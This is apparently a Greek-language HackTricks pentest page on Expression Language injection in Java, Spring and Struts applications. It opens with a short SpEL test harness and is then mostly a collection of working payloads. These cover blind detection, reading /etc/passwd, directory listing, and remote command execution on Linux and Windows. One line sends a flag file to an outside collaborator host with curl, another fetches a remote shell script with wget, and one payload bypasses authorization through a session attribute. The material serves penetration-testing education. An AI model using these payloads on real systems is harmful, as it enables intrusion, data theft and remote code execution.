219 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# EL - Expression Language
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Η Expression Language (EL) είναι αναπόσπαστο μέρος του JavaEE για τη σύνδεση της παρουσίασης (π.χ., ιστοσελίδες) και της λογικής εφαρμογής (π.χ., managed beans), επιτρέποντας την αλληλεπίδρασή τους. Χρησιμοποιείται κυρίως σε:
- **JavaServer Faces (JSF)**: Για τη σύνδεση των UI components με τα δεδομένα/ενέργειες του backend.
- **JavaServer Pages (JSP)**: Για την πρόσβαση και την επεξεργασία δεδομένων μέσα στις σελίδες JSP.
- **Contexts and Dependency Injection for Java EE (CDI)**: Για την διευκόλυνση της αλληλεπίδρασης της web layer με τα managed beans.
**Πλαίσια Χρήσης**:
- **Spring Framework**: Εφαρμόζεται σε διάφορα modules όπως Security και Data.
- **Γενική Χρήση**: Μέσω του SpEL API από προγραμματιστές σε γλώσσες που βασίζονται σε JVM όπως Java, Kotlin και Scala.
Η EL είναι παρούσα σε τεχνολογίες JavaEE, αυτόνομες περιβάλλοντα και αναγνωρίζεται μέσω των επεκτάσεων αρχείων `.jsp` ή `.jsf`, σφαλμάτων στο stack και όρων όπως "Servlet" σε headers. Ωστόσο, τα χαρακτηριστικά της και η χρήση ορισμένων χαρακτήρων μπορεί να εξαρτώνται από την έκδοση.
> [!NOTE]
> Ανάλογα με την **έκδοση EL** ορισμένα **χαρακτηριστικά** μπορεί να είναι **Ενεργά** ή **Ανενεργά** και συνήθως ορισμένοι **χαρακτήρες** μπορεί να είναι **μη επιτρεπτοί**.
## Βασικό Παράδειγμα
(Μπορείτε να βρείτε ένα άλλο ενδιαφέρον tutorial σχετικά με την EL στο [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
Κατεβάστε από το [**Maven**](https://mvnrepository.com) repository τα jar αρχεία:
- `commons-lang3-3.9.jar`
- `spring-core-5.2.1.RELEASE.jar`
- `commons-logging-1.2.jar`
- `spring-expression-5.2.1.RELEASE.jar`
Και δημιουργήστε το παρακάτω αρχείο `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Στη συνέχεια, μεταγλωττίστε τον κώδικα (αν δεν έχετε εγκατεστημένο το `javac`, εγκαταστήστε το `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Εκτελέστε την εφαρμογή με:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Σημειώστε πώς στο προηγούμενο παράδειγμα ο όρος `{5*5}` **αξιολογήθηκε**.
## **Διδακτικό Υλικό Βασισμένο σε CVE**
Ελέγξτε το **σε αυτή την ανάρτηση:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
### Βασικές ενέργειες
```bash
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Ανίχνευση
- Ανίχνευση Burp
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
- Ανίχνευση J2EE
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
- Ύπνος 10 δευτερόλεπτα
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Απομακρυσμένη Συμπερίληψη Αρχείων
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Κατάλογος Αρχείων
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
- Βασική **εξήγηση** RCE
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
- RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- RCE **Windows** (δεν έχει δοκιμαστεί)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- **Περισσότερο RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Εξέταση του περιβάλλοντος
- `applicationScope` - παγκόσμιες μεταβλητές εφαρμογής
- `requestScope` - μεταβλητές αιτήματος
- `initParam` - μεταβλητές αρχικοποίησης εφαρμογής
- `sessionScope` - μεταβλητές συνεδρίας
- `param.X` - τιμή παραμέτρου όπου X είναι το όνομα μιας παραμέτρου http
Θα χρειαστεί να μετατρέψετε αυτές τις μεταβλητές σε String όπως:
```bash
${sessionScope.toString()}
```
#### Παράδειγμα παράκαμψης εξουσιοδότησης
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Η εφαρμογή μπορεί επίσης να χρησιμοποιεί προσαρμοσμένες μεταβλητές όπως:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF Bypass
Δείτε [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
## References
- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
{{#include ../../banners/hacktricks-training.md}}